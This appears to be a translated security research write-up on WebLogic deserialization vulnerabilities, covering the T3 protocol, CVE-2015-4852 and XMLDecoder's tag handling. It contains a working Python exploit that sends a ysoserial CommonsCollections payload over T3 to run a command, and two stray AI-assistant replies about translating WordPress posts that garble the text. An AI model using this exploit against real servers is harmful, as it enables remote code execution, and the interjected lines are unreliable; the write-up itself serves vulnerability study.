First, letâs refer to a diagram of historical WebLogic vulnerabilities released by the Qi An Xin team. It can be observed that deserialization issues are predominant, primarily stemming from XMLDecoder and the T3 protocol.
T3 Protocol
WebLogicâs T3 protocol is the protocol used by WebLogicâs RMI. In traditional Java, RMI uses the JRMP protocol.
The communication of the JRMP protocol consists of the following components:
Client Object
Server Object
Client Proxy Object (Stub)
Server Proxy Object (Skeleton)
While the T3 protocol improves upon the JRMP protocol, both the stub and skeleton are dynamically generated. When deploying objects to the RMI registry, WebLogic automatically generates the stub and skeleton.
Weblogic developed the T3 protocol because they needed a scalable and efficient protocol to build enterprise-level distributed object systems using Java.
Packet Capture Analysis
We want to packet capture and analyze the T3 protocol using two methods.
1. Write a T3 RMI server and a T3 RMI client, launch the client to request the RMI server, thereby achieving packet capture. The detailed steps for this method are covered in this article.https://hu3sky.github.io/2020/03/20/weblogic%20t3%20%E5%8D%8F%E8%AE%AE%E5%88%A9%E7%94%A8%E4%B8%8E%E9%98%B2%E5%BE%A1/#%E5%AE%9E%E7%8E%B0%E6%AD%A3%E5%B8%B8t3%E7%B1%BB%E7%9A%84%E8%B0%83%E7%94%A8
2. Use Python to simulate the client sending packets, thereby enabling packet capture and analysis of the T3 protocol. This implementation is relatively straightforward, so weâll use this method to get a glimpse into the intricacies of the T3 protocol.
After completing the environment setup, we use the following exploit:
from os import popen
import struct # Responsible for the conversion of big and small ends
import subprocess
from sys import stdout
import socket
import re
import binascii
def generatePayload(gadget,cmd):
YSO_PATH = "E:\\tools\\java\\ysoserial-master-d367e379d9-1.jar"
popen = subprocess.Popen(['java','-jar',YSO_PATH,gadget,cmd],stdout=subprocess.PIPE)
return popen.stdout.read()
def T3Exploit(ip,port,payload):
sock =socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((ip,port))
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"
sock.sendall(handshake.encode())
data = sock.recv(1024)
compile = re.compile("HELO:(.*).0.false")
match = compile.findall(data.decode())
if match:
print("Weblogic: "+"".join(match))
else:
print("Not Weblogic")
#return
header = binascii.a2b_hex(b"00000000")
t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")
desflag = binascii.a2b_hex(b"fe010000")
payload = header + t3header +desflag+ payload
payload = struct.pack(">I",len(payload)) + payload[4:]
sock.send(payload)
if __name__ == "__main__":
ip = "127.0.0.1"
port = 7001
gadget = "CommonsCollections1"
cmd = "touch /tmp/hack"
payload = generatePayload(gadget,cmd)
T3Exploit(ip,port,payload)
After specifying the port and IP, you can use the following command to check if the attack was successful.
docker exec weblogic1036jdk7u21 ls tmp/
We can get a glimpse of the T3 protocol by capturing the relevant traffic packets. Set Wireshark to `tcp.port==7001`, run the above script, and capture the T3 traffic.
The first packet sent is the T3 protocol header, with the T3 followed by the WebLogic client version.
The server will respond and after HELO, it will include the Weblogic server version. This feature can be exploited to probe the Weblogic server version.
The client will next send a relatively large packet, the content of which is analyzed as follows.
The packet contains only the content of the blue section. The first box indicates the packet length, and the second box represents the deserialization flag. Between these two boxes lie the T3 protocol headers, with the remaining portion being the serialized data.
When the T3 protocol transmits serialized data, it sometimes does not send just a single piece of serialized data. It might send multiple serialized data pieces, separated by deserialization markers, like this
CVE-2015-4852
Vulnerable Version
10.3.6.0, 12.1.2.0, 12.1.3.0, and 12.2.1.0
The above Exploit is used to exploit this vulnerability. The aforementioned CVE version does not provide any protection against the T3 deserialization security issue, utilizing the T3 protocol deserialization with Commons Collections (CC) chains. With JDK 1.7 and WebLogic 10.3.6.0, you can use CC chains 1, 3, and 6 to exploit the vulnerability.
This vulnerability can be considered the origin of the WebLogic deserialization vulnerability.
Analysis
weblogic.rjvm.InboundMsgAbbrev#readObject
The entry point, the readObject method, is located here, where the readObject method of InboundMsgAbbrev.ServerChannelInputStream is invoked. The variable âvar1â represents the serialized data, and we proceed with a follow-up.
InboundMsgAbbrev.ServerChannelInputStream#readObject
After further investigation, it was found that this class inherits from `ObjectInputStream` and hasnât overridden the `readObject` method. This means that the serialized data is directly passed to the `ObjectInputStream` object as a parameter, invoking its `readObject` method. Consequently, this seamlessly triggered a deserialization vulnerability.
resolveClass
The reason for mentioning resolveClass here is that many articles online about T3 deserialization discuss this topic. It was something I wasnât aware of before, so I decided to document it.
`resolveClass` is an essential method in `ObjectInputStream.readObject()`. This means that during the deserialization process, the serialized data always passes through the `resolveClass` method once.
The purpose of this method is to process the serialization descriptor of the class into the Class object of that class. Many interceptors for deserialization gadgets achieve their functionality by overriding this method (such as using a blacklist to prohibit the deserialization of certain classes).
Here is a deserialization attack sequence diagram from Master Liaoâs blog:
You can see that besides the resolveClass method, thereâs also a resolveProxyClass. It is used to return a proxy class that implements all interfaces in the proxy class descriptor. This method will not be elaborated on here, but it can also serve as an interception point for deserialization attacks.
In the analysis of CVE-2015-4852, the `InboundMsgAbbrev.ServerChannelInputStream` class overrides `resolveClass`. If implemented correctly, it could mitigate the deserialization vulnerability. Unfortunately, this class directly calls the superclassâs `resolveClass`.
XMLDecoder
XMLDecoder is an API set used for the serialization or deserialization of XML, developed as early as JDK 1.4. Instead of the more commonly known DOM parsing, it utilizes SAX parsing. DOM parsing reads all data to generate a DOM tree for processing XML, while SAX processes XML through linear reading, thus resulting in relatively lower performance overhead.
apache xerces
Apache Xerces is a crucial component when XMLDecoder parses XML. Apache Xerces is a parser used to determine which tags are in XML and whether the syntax is valid. The official version integrated this parser into JDK 1.5, making it the default XML parser.
After the XML serialized data is conveyed to the `XMLDecoder.readObject()` method for deserialization and other operations, it is subsequently passed to Xerces for parsing. Once Xerces completes the parsing, the data is handed over to the `DocumentHandler` for further operations. If it is JDK 1.6, it will be processed by the `ObjectHandler`.
DocumentHandler
`DocumentHandler` (com.sun.beans.decoder.DocumentHandler) acts as an event handler when `XMLDecoder` processes XML data, implemented in JDK 1.7. It monitors incoming XML tags and attributes, invoking different handlers to process events. Our attack on `XMLDecoder`âs deserialization involves injecting specific XML serialized data to be processed by `DocumentHandler`, thereby enabling RCE and other attacks.
The figure below illustrates the various methods of handling tags as defined in the jdk1.7 DocumentHandler.
In JDK1.6, there is an ObjectHandler that functions similarly to DocumentHandler. However, it supports far fewer tags than DocumentHandler and is much less standardized. The following image shows part of the ObjectHandlerâs code.
âNotably, one of the exploits for bypassing the patch for CVE-2019-2725 is based on JDK1.6.â
Below, I will give an example of the function of each tag.
string
<string>aaa</string>
The meaning is to represent a string with the value âaaa.â This tag is generally used in conjunction with other tags to achieve certain effects.
object
The object tag represents an object. Its class attribute specifies the class name, and its method attribute specifies a method name (the constructor method name is new).
void
void is usually used with other tags. It also has attributes such as method and class, so it is very similar to the object tag.
void is generally used for function calls and specifies the method name through the method attribute, as well as other auxiliary functions (such as acting as an index in the array tag)
<object class="A">
<void method="foo">
<string>test</string>
</void>
</object>
array
The array tag is used to represent an array, the class attribute specifies the class name, and the index is set internally through the index attribute of the void tag
For example, the XML representation of String[] a = new String[];s[1]=âtestâ is
<array class="java.lang.String">
<void index="1">
<string>test</string>
</void>
</array>
Operation Principle
Different XML tags correspond to different handlers, which in turn correspond to different processing mechanisms. Most handlers have an `addAttribute` method, which is primarily used to extract attributes from tags and process them; and a `getValueObject` method, which is mainly used to retrieve the value of the tag.
First, using the Java tag as an example: var1 corresponds to the attribute name, and var2 corresponds to the attribute value. The Java tag will load classes according to the value in the class attribute.
Letâs take another look at the New tag: Similar to the handler of the java tag, it also performs class loading operations. However, NewElementHandler serves as the parent class for many handlers (such as ArrayElementHandler and ObjectElementHandler). This means that the subclasses of NewElementHandler can also perform class loading.
In the above text, it is mentioned that the object tag has the ability to perform class loading because its class attribute is handled by the parent class NewElementHandler.
The reason the void tag is so similar to the object tag is that VoidElementHandler inherits from ObjectElementHandler and only overrides the isArgument method; everything else is the same as the parent class.
Letâs take another look at the array; it is also a very important tag.
Demo debugging
From the text above, we can roughly understand that the XMLDecoder processes XML with the following flow: XMLDecoder.readObject() -> Xerces parsing -> DocumentHandler event handling. Why not write a demo to debug and see the specific process?
import java.beans.XMLDecoder;
import java.io.*;
public class Main {
public static void main(String[] args) throws FileNotFoundException {
String s = "< version="\"1.7.0_80\"" class="\"java.beans.XMLDecoder\"">\n" +
" \n" + "</>"; StringBufferInputStream stringBufferInputStream = new StringBufferInputStream(s); XMLDecoder xmlDecoder = new XMLDecoder(stringBufferInputStream); Object o = xmlDecoder.readObject(); System.out.println(o); } }
Start debugging immediately by setting a breakpoint at `xmlDecoder.readObject()` in the demo. Continue from there.
readObject
Follow-up on `readObject`, you can find that it invokes `parsingComplete()`. Continue to trace further.
`java.beans.XMLDecoder#parsingComplete`, since we are monitoring the XML parsing process, this `parse` method appears quite suspicious. Additionally, since it can be traced, we will track it further.
`com.sun.beans.decoder.DocumentHandler#parse`, discovered another parse, proceeding.
com.sun.org.apache.xerces.internal.jaxp.SAXParserImpl#parse, found another parse method, will continue investigating.
It seems like youâre analyzing a Java class, specifically `SAXParserImpl`, and its `parse` method. This method is overloaded, meaning there are multiple versions of it with different parameters. If you need help understanding how to trace through these methods or have specific questions about them, feel free to ask!
com.sun.org.apache.xerces.internal.parsers.AbstractSAXParser#parse, discovered parse, and then again
com.sun.org.apache.xerces.internal.parsers.XMLParser#parse
com.sun.org.apache.xerces.internal.parsers. XML11Configuration#parse
Iâm here to assist with web security and translating content. However, the text youâve provided seems to involve a technical aspect of Java programming with some reference to XML parsing.
If you need further assistance with translating WordPress posts, kindly provide text from WordPress content, and Iâll help you with the translation while maintaining technical accuracy and American English standards.
Following up on `scanDocument`, at this point, the process has already entered the Xerces parsing phase. There is a `do..while` loop here, which functions to extract XML tags.
Call chain:
ScanDocument
Letâs take a look at the `scanDocument` method. Here, the `next()` method is executed in a loop, and during the first dozen iterations, this method handles parsing and event processing for the XML. The general processing flow involves instantiating the corresponding handler for each parsed tag, then iteratively calling the `addAttribute` method to obtain all its attributes and perform some event processing. When an end tag for a specific element is reached (e.g., â), the `getValueObject` method is invoked to retrieve the information of the value within the tag. Hereâs a diagram to illustrate.
public boolean scanDocument(boolean complete) throws IOException, XNIException {
this.fEntityManager.setEntityHandler(this);
int event = this.next();
do {
switch(event) {
case 1:
case 2:
case 6:
..................
case 12:
this.fDocumentHandler.startCDATA((Augmentations)null);
this.fDocumentHandler.characters(this.getCharacterData(), (Augmentations)null);
this.fDocumentHandler.endCDATA((Augmentations)null);
event = this.next();
For debugging, Iâve set breakpoints on all methods of all handlers involved in the XML for easy troubleshooting.
In our XML, the first tag is JAVA, so, after placing breakpoints under various methods in JavaElementHandler, you can observe that the next method will first instantiate JavaElementHandler. It then calls addAttribute to insert the acquired class object (java.beans.XMLDecoder) into `this`.
Subsequently, it naturally proceeds to parse the `